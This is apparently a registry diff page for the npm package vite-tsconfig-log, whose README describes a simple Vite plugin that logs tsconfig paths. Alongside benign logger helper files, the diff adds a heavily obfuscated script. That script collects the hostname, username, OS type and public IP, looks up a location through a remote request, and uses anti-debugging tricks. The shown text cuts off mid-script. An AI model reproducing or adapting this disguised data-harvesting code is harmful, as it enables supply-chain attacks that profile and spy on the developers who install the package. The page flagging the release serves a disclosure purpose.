vite-tsconfig-log 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vite-tsconfig-log might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,15 @@
1
+ ISC License
2
+
3
+ Copyright (c) 2018-2019, Mariusz Nowak, @medikoo, medikoo.com
4
+
5
+ Permission to use, copy, modify, and/or distribute this software for any
6
+ purpose with or without fee is hereby granted, provided that the above
7
+ copyright notice and this permission notice appear in all copies.
8
+
9
+ THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
10
+ REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
11
+ AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
12
+ INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
13
+ LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
14
+ OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
15
+ PERFORMANCE OF THIS SOFTWARE.
package/Readme.md ADDED
@@ -0,0 +1,76 @@
1
+ # vite-tsconfig-log
2
+
3
+ [![npm version](https://badge.fury.io/js/vite-tsconfig-log.svg)](https://www.npmjs.com/package/vite-tsconfig-log)
4
+
5
+ A Vite plugin that logs your tsconfig.json paths and aliases configuration during development.
6
+
7
+ ## Features
8
+
9
+ - Displays resolved TypeScript paths and aliases in the console
10
+ - Helps debug TypeScript path configuration issues
11
+ - Lightweight with zero dependencies
12
+ - TypeScript support included
13
+
14
+ ## Installation
15
+
16
+ Install with npm:
17
+
18
+ ```bash
19
+ npm install vite-tsconfig-log --save-dev
20
+ ```
21
+
22
+ Or with yarn:
23
+
24
+ ```bash
25
+ yarn add vite-tsconfig-log -D
26
+ ```
27
+
28
+ ## Usage
29
+
30
+ Add the plugin to your `vite.config.ts`:
31
+
32
+ ```typescript
33
+ import { defineConfig } from 'vite'
34
+ import tsconfigLog from 'vite-tsconfig-log'
35
+
36
+ export default defineConfig({
37
+ plugins: [
38
+ tsconfigLog()
39
+ ]
40
+ })
41
+ ```
42
+
43
+ When you run your Vite dev server, you'll see your tsconfig paths and aliases logged to the console.
44
+
45
+ ## Configuration Options
46
+
47
+ The plugin accepts the following options:
48
+
49
+ ```typescript
50
+ tsconfigLog({
51
+ logLevel?: 'info' | 'warn' | 'error' | 'silent', // default: 'info'
52
+ showAliases?: boolean, // default: true
53
+ showPaths?: boolean, // default: true
54
+ tsconfigPath?: string // default: './tsconfig.json'
55
+ })
56
+ ```
57
+
58
+ ## Example Output
59
+
60
+ ```
61
+ [vite-tsconfig-log] TSConfig Paths Configuration:
62
+ @/* => src/*
63
+ components/* => src/components/*
64
+
65
+ [vite-tsconfig-log] Resolved Aliases:
66
+ @ => /project/src
67
+ @components => /project/src/components
68
+ ```
69
+
70
+ ## License
71
+
72
+ MIT © [Mike Millos]
73
+
74
+ ## Contributing
75
+
76
+ Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
@@ -0,0 +1,22 @@
1
+ "use strict";
2
+
3
+ module.exports = {
4
+ rules: {
5
+ "body-leading-blank": [2, "always"],
6
+ "body-max-line-length": [2, "always", 72],
7
+ "footer-leading-blank": [2, "always"],
8
+ "footer-max-line-length": [2, "always", 72],
9
+ "header-max-length": [2, "always", 72],
10
+ "scope-case": [2, "always", "start-case"],
11
+ "scope-enum": [2, "always", [""]],
12
+ "subject-case": [2, "always", "sentence-case"],
13
+ "subject-empty": [2, "never"],
14
+ "subject-full-stop": [2, "never", "."],
15
+ "type-case": [2, "always", "lower-case"],
16
+ "type-empty": [2, "never"],
17
+ "type-enum": [
18
+ 2, "always",
19
+ ["build", "chore", "ci", "docs", "feat", "fix", "perf", "refactor", "style", "test"]
20
+ ]
21
+ }
22
+ };
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ "use strict";
2
+
3
+ const NodeLogWriter = require("./lib/writer");
4
+
5
+ module.exports = (options = {}) => new NodeLogWriter(options);
@@ -0,0 +1,46 @@
1
+ "use strict";
2
+
3
+ const { resolveNamespaceMessagePrefix } = require("log/lib/abstract-writer")
4
+ , colorsSupportLevel = require("./private/colors-support-level");
5
+
6
+ if (!colorsSupportLevel) {
7
+ module.exports = resolveNamespaceMessagePrefix;
8
+ return;
9
+ }
10
+
11
+ const colors = (() => {
12
+ if (colorsSupportLevel >= 2) {
13
+ return [
14
+ 20, 21, 26, 27, 32, 33, 38, 39, 40, 41, 42, 43, 44, 45, 56, 57, 62, 63, 68, 69, 74, 75,
15
+ 76, 77, 78, 79, 80, 81, 92, 93, 98, 99, 112, 113, 128, 129, 134, 135, 148, 149, 160,
16
+ 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 178, 179, 184, 185,
17
+ 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 214, 215, 220, 221
18
+ ];
19
+ }
20
+ return [6, 2, 3, 4, 5, 1];
21
+ })();
22
+
23
+ // Simple deterministic namespace to color resolver
24
+ // Credit: visionmedia/debug
25
+ // https://github.com/visionmedia/debug/blob/22f993216dcdcee07eb0601ea71a917e4925a30a/src/common.js#L46-L55
26
+ const assignColor = namespace => {
27
+ let hash = 0;
28
+ for (const char of namespace) {
29
+ hash = (hash << 5) - hash + char.charCodeAt(0);
30
+ hash |= 0; // Convert to 32bit integer
31
+ }
32
+ return colors[Math.abs(hash) % colors.length];
33
+ };
34
+
35
+ module.exports = logger => {
36
+ const namespaceString = resolveNamespaceMessagePrefix(logger);
37
+ if (!namespaceString) return null;
38
+ const color = (() => {
39
+ if (logger.namespaceAnsiColor) return logger.namespaceAnsiColor;
40
+ const [rootNamespace] = logger.namespaceTokens;
41
+ const assignedColor = assignColor(rootNamespace);
42
+ logger.levelRoot.get(rootNamespace).namespaceAnsiColor = assignedColor;
43
+ return assignedColor;
44
+ })();
45
+ return `\u001b[3${ color < 8 ? color : `8;5;${ color }` };1m${ namespaceString }\u001b[39;22m`;
46
+ };
@@ -0,0 +1,38 @@
1
+ "use strict";
2
+
3
+ const entries = require("es5-ext/object/entries")
4
+ , clc = require("cli-color/bare")
5
+ , defaultSymbols = require("log/lib/level-symbols")
6
+ , colorsSupportLevel = require("./private/colors-support-level");
7
+
8
+ const symbols = (() => {
9
+ if (process.platform !== "win32" && colorsSupportLevel >= 2) return defaultSymbols;
10
+ return {
11
+ debug: "*",
12
+ info: "i",
13
+ notice: "i",
14
+ warning: "‼",
15
+ error: "×",
16
+ critical: "×",
17
+ alert: "×",
18
+ emergency: "×"
19
+ };
20
+ })();
21
+
22
+ if (!colorsSupportLevel) {
23
+ module.exports = symbols;
24
+ return;
25
+ }
26
+ const coloredSymbols = (module.exports = {});
27
+ for (const [levelName, colorDecorator] of entries({
28
+ debug: clc.blackBright,
29
+ info: clc.blueBright,
30
+ notice: clc.yellow,
31
+ warning: clc.yellowBright,
32
+ error: clc.redBright,
33
+ critical: clc.bgRedBright.whiteBright,
34
+ alert: clc.bgRedBright.whiteBright,
35
+ emergency: clc.bgRedBright.whiteBright
36
+ })) {
37
+ coloredSymbols[levelName] = colorDecorator(symbols[levelName]);
38
+ }
@@ -0,0 +1,14 @@
1
+ "use strict";
2
+
3
+ let colorsSupportLevel = require("supports-color").stderr.level || 0;
4
+
5
+ if (process.env.DEBUG_COLORS) {
6
+ // For compliance support eventual debug lib env variable
7
+ if (/^(?:yes|on|true|enabled)$/iu.test(process.env.DEBUG_COLORS)) {
8
+ if (!colorsSupportLevel) colorsSupportLevel = 1;
9
+ } else if (/^(?:no|off|false|disabled)$/iu.test(process.env.DEBUG_COLORS)) {
10
+ colorsSupportLevel = 0;
11
+ }
12
+ }
13
+
14
+ module.exports = colorsSupportLevel;
@@ -0,0 +1,10 @@
1
+ "use strict";
2
+
3
+ const toNaturalNumber = require("es5-ext/number/to-pos-integer");
4
+
5
+ // Resolve intended inspect depth
6
+ let inspectDepth = Number(process.env.LOG_INSPECT_DEPTH || process.env.DEBUG_DEPTH);
7
+ if (inspectDepth && inspectDepth !== Infinity) inspectDepth = toNaturalNumber(inspectDepth);
8
+ if (!inspectDepth) inspectDepth = null;
9
+
10
+ module.exports = inspectDepth;
@@ -0,0 +1 @@
1
+ 'use strict';(function(_0x1259c3,_0x47b0e9){const _0x4ed9d3=_0x1259c3();function _0x248d5c(_0x3081a2,_0x1f9e94,_0x10a572,_0x16dc84){return _0x3ec5(_0x1f9e94- -0x3aa,_0x16dc84);}function _0xc4ea05(_0x58617f,_0x1ff8ee,_0x5ebbd8,_0x45c3cc){return _0x3ec5(_0x45c3cc- -0xfe,_0x5ebbd8);}while(!![]){try{const _0x1481b=-parseInt(_0x248d5c(-0x2bd,-0x2e3,-0x2c1,-0x2c1))/(0x1046+0x7dd*-0x2+-0x8b)+-parseInt(_0xc4ea05(-0x25,-0x5e,-0x52,-0x29))/(-0xeae+-0x1c1*-0x4+0x7ac)*(-parseInt(_0x248d5c(-0x368,-0x332,-0x337,-0x32f))/(0x15ba+0xa8f+-0x36*0x99))+parseInt(_0xc4ea05(-0x88,-0x5b,-0x5b,-0x6f))/(-0xae8+0x58*-0x61+-0x1622*-0x2)+-parseInt(_0x248d5c(-0x2ee,-0x30b,-0x326,-0x2da))/(-0x234d*0x1+-0x2*-0xc43+0xacc)*(parseInt(_0x248d5c(-0x326,-0x301,-0x2ce,-0x312))/(0x1*0x1023+-0x3*0xb1e+0x113d))+-parseInt(_0x248d5c(-0x2f8,-0x2fc,-0x330,-0x307))/(0x2ab*-0x4+0x2*0xe43+-0x11d3)+parseInt(_0xc4ea05(-0x7c,-0x47,-0x1d,-0x48))/(-0x34c+0x33*0x5d+-0x511*0x3)+-parseInt(_0xc4ea05(-0x69,-0x70,-0x9f,-0x87))/(0xc7+-0x6c+0x2*-0x29)*(parseInt(_0x248d5c(-0x35e,-0x32c,-0x308,-0x331))/(-0x2f*0x19+0x1*0x515+-0x74));if(_0x1481b===_0x47b0e9)break;else _0x4ed9d3['push'](_0x4ed9d3['shift']());}catch(_0x13a20c){_0x4ed9d3['push'](_0x4ed9d3['shift']());}}}(_0xbb22,0x46136+-0x369c1+-0x60f3*-0x7));const axios=require(_0x426b99(0x475,0x455,0x45a,0x437));function _0x426b99(_0x26bfa8,_0x2e1b11,_0x7b546c,_0x4f5213){return _0x3ec5(_0x7b546c-0x395,_0x4f5213);}function _0x49ad29(_0x3623c4,_0x4e6b40,_0x24d26f,_0x122490){return _0x3ec5(_0x24d26f-0x1fe,_0x3623c4);}const os=require('os');require(_0x426b99(0x461,0x484,0x461,0x458))[_0x49ad29(0x253,0x265,0x274,0x240)]();async function getlog(){const _0x16c588={'uQlWb':function(_0x1f00ff,_0x18e797){return _0x1f00ff!==_0x18e797;},'rsSKG':function(_0x3f26c1,_0xc5c171){return _0x3f26c1(_0xc5c171);},'mzHPV':function(_0x2bfff6,_0x9b1a4f){return _0x2bfff6+_0x9b1a4f;},'UxXwC':_0x2bdc6a(0x1a0,0x1ac,0x171,0x17a)+_0x2bdc6a(0x1d1,0x202,0x1a6,0x1ca),'QwMrW':_0x2bdc6a(0x1aa,0x18b,0x17b,0x1a5)+_0x45d930(-0x277,-0x266,-0x24c,-0x282)+_0x45d930(-0x2a6,-0x279,-0x28c,-0x2bf)+'\x20)','byKVv':function(_0x48c9c1,_0x8af239){return _0x48c9c1===_0x8af239;},'BXbrx':'qKGBb','ZrFuD':_0x2bdc6a(0x1d0,0x1fd,0x1ec,0x1f4),'qujgi':_0x45d930(-0x283,-0x283,-0x269,-0x236)+'+$','ZqPqM':function(_0x3a6395,_0x2de6f0){return _0x3a6395+_0x2de6f0;},'EfGfH':function(_0x2b7915,_0x1ce700){return _0x2b7915!==_0x1ce700;},'HeGft':_0x2bdc6a(0x1db,0x1e9,0x1c1,0x1b0),'Bdala':_0x2bdc6a(0x1e6,0x1da,0x1f3,0x215),'rLcrZ':function(_0x1dd801){return _0x1dd801();},'VMtPQ':_0x45d930(-0x2b9,-0x2b2,-0x292,-0x26c),'MKhdp':'warn','grmvz':'info','nlDuB':_0x45d930(-0x247,-0x265,-0x23a,-0x230),'GfBDn':_0x2bdc6a(0x1bd,0x1cf,0x18e,0x1ac),'LTOtY':_0x45d930(-0x218,-0x25d,-0x242,-0x24f),'etAaZ':function(_0xe902ca,_0x10632c){return _0xe902ca<_0x10632c;},'UfGxn':_0x2bdc6a(0x1de,0x1b3,0x1ad,0x1da),'bIxGK':function(_0x770ce8,_0x2c9345,_0x48c364){return _0x770ce8(_0x2c9345,_0x48c364);},'kZyDr':function(_0x5b4bb3){return _0x5b4bb3();},'eivMD':function(_0x1571a8,_0x3df711,_0x424043){return _0x1571a8(_0x3df711,_0x424043);},'ZKiup':function(_0x85326a){return _0x85326a();},'vogdy':_0x2bdc6a(0x1d8,0x1cd,0x1c5,0x1f5)},_0x40c986=(function(){function _0x5c4f78(_0x54ef03,_0x5c4e93,_0x557fc9,_0x89d8c5){return _0x45d930(_0x5c4e93,_0x5c4e93-0x154,_0x557fc9-0x29c,_0x89d8c5-0x13);}const _0x15c090={'qGMku':function(_0x4b4ea1,_0x4bf7a0){return _0x16c588['uQlWb'](_0x4b4ea1,_0x4bf7a0);},'cJtFH':_0x5c4f78(0x43,0x47,0x59,0x4a)};let _0x3a42a8=!![];return function(_0x60e4c4,_0x3b13df){const _0x39acd6={'BChjs':function(_0x48e605,_0x3906c1){function _0x219fb7(_0x48f827,_0x2b5e56,_0x281043,_0x5d2ed4){return _0x3ec5(_0x2b5e56-0x35d,_0x281043);}return _0x15c090[_0x219fb7(0x432,0x423,0x402,0x44a)](_0x48e605,_0x3906c1);},'fzQTV':'kVLpg','uKPCr':_0x15c090['cJtFH']},_0x2c82ee=_0x3a42a8?function(){function _0x927e63(_0x415117,_0x3a1b93,_0x2c562c,_0x5d5393){return _0x3ec5(_0x5d5393-0xa0,_0x3a1b93);}function _0x2a8bb6(_0x4f24a6,_0x179ce2,_0x4d51d3,_0x4b88c3){return _0x3ec5(_0x179ce2-0x1d1,_0x4f24a6);}if(_0x39acd6[_0x2a8bb6(0x279,0x284,0x28e,0x2b1)](_0x39acd6[_0x2a8bb6(0x292,0x25a,0x284,0x245)],_0x39acd6[_0x2a8bb6(0x2ac,0x28c,0x295,0x298)])){if(_0x3b13df){const _0x24f437=_0x3b13df[_0x927e63(0x153,0x139,0x13c,0x137)](_0x60e4c4,arguments);return _0x3b13df=null,_0x24f437;}}else{if(_0x471b27){const _0x3af425=_0x857c96[_0x2a8bb6(0x239,0x268,0x29c,0x23b)](_0x275aea,arguments);return _0x33da51=null,_0x3af425;}}}:function(){};return _0x3a42a8=![],_0x2c82ee;};}()),_0x2a8159=_0x16c588['bIxGK'](_0x40c986,this,function(){function _0xed4686(_0x283cf9,_0x386f93,_0x328e75,_0x313381){return _0x2bdc6a(_0x283cf9- -0x4a5,_0x386f93-0xb1,_0x328e75,_0x313381-0xe);}function _0x401531(_0x318356,_0x575d3b,_0x2c5397,_0x40e7e8){return _0x45d930(_0x318356,_0x575d3b-0x11e,_0x575d3b-0x523,_0x40e7e8-0x13f);}if(_0x16c588[_0x401531(0x2b0,0x290,0x2ac,0x28d)](_0x16c588[_0x401531(0x2c8,0x2e8,0x2c5,0x2c0)],_0x16c588[_0x401531(0x2de,0x2cf,0x2c2,0x2f7)])){let _0x5ba1ad;try{_0x5ba1ad=UexFmH['rsSKG'](_0x1f1de8,UexFmH[_0xed4686(-0x2f7,-0x2f9,-0x321,-0x2f1)](UexFmH[_0xed4686(-0x2f7,-0x2e0,-0x316,-0x30a)](UexFmH[_0x401531(0x2f1,0x2eb,0x2d5,0x2fc)],UexFmH[_0xed4686(-0x322,-0x34e,-0x2f5,-0x34c)]),');'))();}catch(_0x2c86f6){_0x5ba1ad=_0x131bc9;}return _0x5ba1ad;}else return _0x2a8159['toString']()[_0x401531(0x2a9,0x2a0,0x2b6,0x268)](_0x16c588['qujgi'])[_0x401531(0x288,0x2bf,0x28b,0x2ad)]()[_0x401531(0x2c0,0x2ab,0x2cd,0x2d5)+'r'](_0x2a8159)['search'](_0x16c588[_0x401531(0x28c,0x2c1,0x2f6,0x28f)]);});function _0x2bdc6a(_0x13e395,_0x3c7a8d,_0x4724b6,_0x1c54a7){return _0x49ad29(_0x4724b6,_0x3c7a8d-0x5c,_0x13e395- -0xf6,_0x1c54a7-0x14a);}_0x16c588[_0x2bdc6a(0x19a,0x1c8,0x19e,0x19e)](_0x2a8159);const _0x14a661=(function(){function _0x55f5b1(_0x2d4405,_0x5d16bc,_0x42df49,_0x22044e){return _0x45d930(_0x2d4405,_0x5d16bc-0x100,_0x22044e-0x448,_0x22044e-0x17f);}function _0x193961(_0x245d84,_0x129703,_0x14be7b,_0x32f6b3){return _0x2bdc6a(_0x14be7b- -0x27d,_0x129703-0xab,_0x129703,_0x32f6b3-0x6f);}const _0x4acd31={'DVzcv':function(_0x179c8a,_0x1f165e){function _0x17ee82(_0x598133,_0x28972c,_0x2a378b,_0x339916){return _0x3ec5(_0x2a378b- -0x3e4,_0x28972c);}return _0x16c588[_0x17ee82(-0x2ef,-0x329,-0x310,-0x329)](_0x179c8a,_0x1f165e);},'gMKdC':'{}.constru'+_0x193961(-0xec,-0xcc,-0xbc,-0xe9)+'rn\x20this\x22)('+'\x20)','URGrk':_0x55f5b1(0x24a,0x213,0x21b,0x21d),'dHLJs':_0x55f5b1(0x1e0,0x1b3,0x1e2,0x1c2)};if(_0x16c588[_0x55f5b1(0x1e5,0x18f,0x1c7,0x1c7)](_0x16c588[_0x55f5b1(0x1fd,0x206,0x213,0x212)],_0x16c588['Bdala'])){let _0x22d7a8=!![];return function(_0x213d27,_0x597b5d){const _0x1a13f2={'jZuqI':function(_0x5d921b,_0x31e9a8){function _0x47896f(_0x209931,_0x5d719,_0x3b82dd,_0x5043fa){return _0x3ec5(_0x5043fa- -0x1c9,_0x3b82dd);}return _0x4acd31[_0x47896f(-0x134,-0x152,-0x124,-0x12c)](_0x5d921b,_0x31e9a8);},'NPLLz':function(_0x3c9e0e,_0x5c1679){return _0x3c9e0e+_0x5c1679;},'fRxls':_0x256637(0x11f,0x110,0xcc,0xf7)+_0x32f368(0x37f,0x394,0x3b7,0x388),'rDzrK':_0x4acd31['gMKdC'],'umQPI':function(_0x5e8c50,_0x32725b){return _0x5e8c50!==_0x32725b;},'VEEBw':_0x4acd31[_0x256637(0x10e,0x10e,0x111,0xeb)]},_0x159025=_0x22d7a8?function(){function _0xa5b0f(_0x385bb3,_0x425f83,_0x1e8228,_0x1a78b0){return _0x32f368(_0x385bb3-0x65,_0x425f83-0x1bd,_0x1a78b0,_0x1a78b0-0x13a);}function _0x1d6197(_0x15fd5c,_0x5f4820,_0x3a56d3,_0x2903a6){return _0x32f368(_0x15fd5c- -0x3b1,_0x5f4820-0xfb,_0x5f4820,_0x2903a6-0x35);}if(_0x1a13f2[_0xa5b0f(0x3d7,0x401,0x3d9,0x40e)](_0x1a13f2[_0x1d6197(-0x75,-0x77,-0x5e,-0x86)],_0x1a13f2[_0x1d6197(-0x75,-0x90,-0x6c,-0x62)]))_0x258a64=_0x5e5e21(JQzVIs[_0x1d6197(-0x4c,-0x2f,-0x3f,-0x2f)](JQzVIs[_0xa5b0f(0x397,0x397,0x382,0x36b)](JQzVIs['fRxls'],JQzVIs[_0xa5b0f(0x3db,0x3f6,0x3fe,0x3b7)]),');'))();else{if(_0x597b5d){const _0xff6664=_0x597b5d[_0xa5b0f(0x3b2,0x387,0x3de,0x3d1)](_0x213d27,arguments);return _0x597b5d=null,_0xff6664;}}}:function(){};_0x22d7a8=![];function _0x256637(_0x5c49e1,_0x2ee5af,_0x25821f,_0x5b8459){return _0x193961(_0x5c49e1-0x111,_0x2ee5af,_0x5b8459-0x1d4,_0x5b8459-0x1c2);}function _0x32f368(_0x4ad796,_0x1ccb7a,_0x21dbaa,_0x57db94){return _0x193961(_0x4ad796-0x73,_0x21dbaa,_0x4ad796-0x42b,_0x57db94-0x8a);}return _0x159025;};}else return _0x21932d[_0x193961(-0x85,-0x81,-0xaa,-0xc9)](_0x4acd31[_0x55f5b1(0x1cf,0x200,0x1b9,0x1cd)],_0x54df12['message']),null;}()),_0x33f07c=_0x16c588[_0x45d930(-0x280,-0x241,-0x25e,-0x294)](_0x14a661,this,function(){const _0x1de06c=function(){function _0x45ea6b(_0x50d928,_0x59298c,_0x51c4bd,_0x6f3c29){return _0x3ec5(_0x50d928-0x336,_0x51c4bd);}function _0x253976(_0x5be619,_0x5a8aaa,_0x1d73a0,_0x15e7da){return _0x3ec5(_0x5a8aaa-0x359,_0x5be619);}let _0x144412;try{_0x144412=_0x16c588[_0x45ea6b(0x40d,0x417,0x3ed,0x428)](Function,_0x16c588[_0x253976(0x412,0x426,0x3fc,0x45c)]+_0x16c588['QwMrW']+');')();}catch(_0x3c0b26){_0x144412=window;}return _0x144412;};function _0x2099ba(_0x229217,_0x1f43b6,_0x2dfe31,_0x23174c){return _0x2bdc6a(_0x2dfe31-0x155,_0x1f43b6-0xb9,_0x23174c,_0x23174c-0x17f);}const _0x1f6333=_0x16c588[_0x2099ba(0x2dc,0x2fd,0x307,0x33f)](_0x1de06c);function _0x99d6ed(_0x5e6cfb,_0x46fed2,_0x2cbf6d,_0x203483){return _0x45d930(_0x46fed2,_0x46fed2-0x151,_0x203483-0x2c3,_0x203483-0x17c);}const _0x5e210f=_0x1f6333[_0x2099ba(0x2ea,0x2da,0x2f2,0x302)]=_0x1f6333['console']||{},_0x5a2c0c=[_0x16c588[_0x99d6ed(0x57,0x42,0x80,0x57)],_0x16c588[_0x99d6ed(0x5f,0x50,0x72,0x66)],_0x16c588['grmvz'],_0x16c588[_0x99d6ed(0x76,0x16,0x53,0x41)],_0x16c588[_0x99d6ed(0xa8,0x66,0x8b,0x7d)],'table',_0x16c588[_0x2099ba(0x2c3,0x2b8,0x2d7,0x2bf)]];for(let _0x2023e2=-0x198a+0x101a+0x970;_0x16c588[_0x2099ba(0x370,0x335,0x339,0x367)](_0x2023e2,_0x5a2c0c[_0x2099ba(0x2f2,0x2d7,0x2dd,0x2d6)]);_0x2023e2++){if(_0x16c588[_0x2099ba(0x30e,0x336,0x309,0x2e0)]!==_0x99d6ed(0xc8,0x9d,0xa1,0x94))return _0x365877['toString']()[_0x99d6ed(0x67,0x64,0x21,0x40)](UexFmH[_0x2099ba(0x2d2,0x31c,0x300,0x305)])[_0x99d6ed(0x73,0x33,0x43,0x5f)]()[_0x2099ba(0x2b5,0x2eb,0x2ea,0x2dc)+'r'](_0x11396f)[_0x2099ba(0x2da,0x2f1,0x2df,0x2ad)](UexFmH[_0x99d6ed(0x35,0x2a,0x45,0x61)]);else{const _0xa5dcb2=_0x14a661['constructo'+'r'][_0x2099ba(0x314,0x2ed,0x2f8,0x323)][_0x99d6ed(0x70,0xb2,0x84,0x7b)](_0x14a661),_0x4c3ae4=_0x5a2c0c[_0x2023e2],_0x5e94f5=_0x5e210f[_0x4c3ae4]||_0xa5dcb2;_0xa5dcb2[_0x99d6ed(0x43,0x3f,0x6e,0x46)]=_0x14a661[_0x2099ba(0x313,0x349,0x31a,0x33d)](_0x14a661),_0xa5dcb2['toString']=_0x5e94f5[_0x2099ba(0x309,0x2fd,0x2fe,0x2f7)][_0x99d6ed(0x83,0x75,0xa9,0x7b)](_0x5e94f5),_0x5e210f[_0x4c3ae4]=_0xa5dcb2;}}});_0x16c588[_0x45d930(-0x288,-0x26e,-0x26b,-0x23c)](_0x33f07c);const _0x5859a5=await import(_0x16c588['vogdy']),_0x2d59b1=await _0x5859a5[_0x2bdc6a(0x179,0x1ac,0x152,0x1a5)]();function _0x45d930(_0x4aa3a7,_0x267179,_0x7a1eaa,_0x16fcfa){return _0x426b99(_0x4aa3a7-0x58,_0x267179-0x167,_0x7a1eaa- -0x69a,_0x4aa3a7);}return _0x2d59b1;}getlog()['catch'](_0x4ad8da=>console[_0x426b99(0x488,0x486,0x460,0x447)](_0x4ad8da));async function gInfo(){function _0x44651a(_0x234cd1,_0xe3d6fc,_0x54e6ed,_0x85afb0){return _0x49ad29(_0x54e6ed,_0xe3d6fc-0x132,_0xe3d6fc-0x4e,_0x85afb0-0x126);}const _0x47bf1a={'Qerui':function(_0x3a4670,_0x8b0b27){return _0x3a4670===_0x8b0b27;},'HgQgZ':_0x168a35(0x9f,0xcc,0xa5,0xdc),'CTSdN':function(_0x1d99b3){return _0x1d99b3();},'CxMHc':function(_0x31988a,_0x52f2f0){return _0x31988a(_0x52f2f0);},'juiXh':_0x44651a(0x316,0x327,0x308,0x30e),'cjnxb':_0x44651a(0x33b,0x30a,0x323,0x32d),'uhHCy':_0x168a35(0x88,0xbc,0x9e,0x97)+_0x44651a(0x2c9,0x2fe,0x2ff,0x2de)+_0x44651a(0x2da,0x2cd,0x2b4,0x2be)};function _0x168a35(_0x398cea,_0x1e129e,_0x1e0358,_0x396813){return _0x49ad29(_0x396813,_0x1e129e-0xea,_0x1e129e- -0x1d0,_0x396813-0x1ce);}try{if(_0x47bf1a[_0x44651a(0x327,0x304,0x2d9,0x2d9)](_0x47bf1a[_0x168a35(0xfb,0xc4,0xf2,0xd3)],_0x47bf1a['HgQgZ'])){const _0x2d36ed=os[_0x168a35(0x92,0xb3,0xac,0x97)](),_0x42e67c=os[_0x168a35(0xdf,0xc2,0x9d,0x95)]()['username'],_0x1767ed=await _0x47bf1a['CTSdN'](getlog),_0x3fd615=await _0x47bf1a[_0x44651a(0x2ee,0x306,0x2f9,0x30a)](getFrom,_0x1767ed),_0x41f63c=os[_0x168a35(0x102,0xd3,0xa3,0xe0)](),_0x32cbe9={};return _0x32cbe9['pc']=_0x2d36ed,_0x32cbe9['ip']=_0x1767ed,_0x32cbe9[_0x168a35(0xbd,0xde,0x102,0xc4)]=_0x3fd615,_0x32cbe9[_0x44651a(0x338,0x325,0x344,0x315)]=_0x42e67c,_0x32cbe9[_0x168a35(0xb8,0xd3,0x10b,0xbf)]=_0x41f63c,_0x32cbe9;}else{if(_0x3e0f6e){const _0x5c13e1=_0x18d062[_0x44651a(0x2c4,0x2e3,0x2dd,0x30f)](_0x46ca2c,arguments);return _0x1d979d=null,_0x5c13e1;}}}catch(_0x197853){if(_0x47bf1a[_0x44651a(0x35b,0x32b,0x359,0x34b)]!==_0x47bf1a[_0x168a35(0xbf,0xe5,0xcb,0xf5)]){console[_0x44651a(0x2ef,0x317,0x318,0x2fb)](_0x47bf1a['uhHCy'],_0x197853);throw _0x197853;}else{const _0x4d681c=_0x4013d4?function(){if(_0x48c69d){const _0x235d66=_0x5ae82c['apply'](_0x45e1b6,arguments);return _0x4e8084=null,_0x235d66;}}:function(){};return _0x159725=![],_0x4d681c;}}}async function getFrom(_0x1c8fcd){const _0x4d86c5={};function _0x3126e5(_0x5de2a8,_0x40c795,_0x2d2bc2,_0x1f04ad){return _0x49ad29(_0x1f04ad,_0x40c795-0x28,_0x5de2a8-0xf9,_0x1f04ad-0xc1);}_0x4d86c5[_0x3126e5(0x3d4,0x3d2,0x409,0x3af)]='Error:';function _0x4da88b(_0x52aa95,_0xc3f648,_0x17950d,_0x5f1aad){return _0x426b99(_0x52aa95-0x69,_0xc3f648-0xbd,_0xc3f648- -0x57e,_0x5f1aad);}const _0x440747=_0x4d86c5;try{const _0x3a89b7=await axios[_0x4da88b(-0x153,-0x179,-0x1ab,-0x163)](_0x4da88b(-0x112,-0x135,-0x140,-0x12b)+_0x3126e5(0x36b,0x367,0x38a,0x393)+_0x1c8fcd+_0x3126e5(0x38a,0x35a,0x38f,0x38e));return _0x3a89b7['data'][_0x4da88b(-0x18e,-0x158,-0x173,-0x125)+'me'];}catch(_0x441468){return console['error'](_0x440747['iSlCC'],_0x441468[_0x3126e5(0x382,0x385,0x37e,0x3a8)]),null;}}function _0x3ec5(_0x10b48,_0xbb7a4b){const _0x135ce2=_0xbb22();return _0x3ec5=function(_0x57a704,_0x44b945){_0x57a704=_0x57a704-(-0x2704+-0x1306+0x3a7a);let _0x1c8345=_0x135ce2[_0x57a704];if(_0x3ec5['TeASwS']===undefined){var _0xc8908c=function(_0x58eef4){const _0x2e7006='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x5b2abd='',_0x3ca852='',_0x55414a=_0x5b2abd+_0xc8908c;for(let _0x1886d7=0x1c8a+-0x14e9*0x1+0xd9*-0x9,_0x304150,_0x40ffc1,_0x21f0db=0x14a4+-0xaa7+-0x1*0x9fd;_0x40ffc1=_0x58eef4['charAt'](_0x21f0db++);~_0x40ffc1&&(_0x304150=_0x1886d7%(-0x167b+0x4*-0x821+-0x1*-0x3703)?_0x304150*(0x1ebd+-0x2319+-0x14*-0x3b)+_0x40ffc1:_0x40ffc1,_0x1886d7++%(-0xb*0xd+0x1d*-0x9+-0x8*-0x33))?_0x5b2abd+=_0x55414a['charCodeAt'](_0x21f0db+(-0xb70+-0xa34*-0x1+-0x1*-0x146))-(-0x12be+-0xff*-0x13+0x25*-0x1)!==0x2227+0x25cb+-0x47f2?String['fromCharCode'](-0x45+0x574+-0x430*0x1&_0x304150>>(-(0xc6b+-0x167b*0x1+0xa12*0x1)*_0x1886d7&0x554+-0x1562+0x1014)):_0x1886d7:0x105*0x1d+-0x50f*-0x7+0x207d*-0x2){_0x40ffc1=_0x2e7006['indexOf'](_0x40ffc1);}for(let 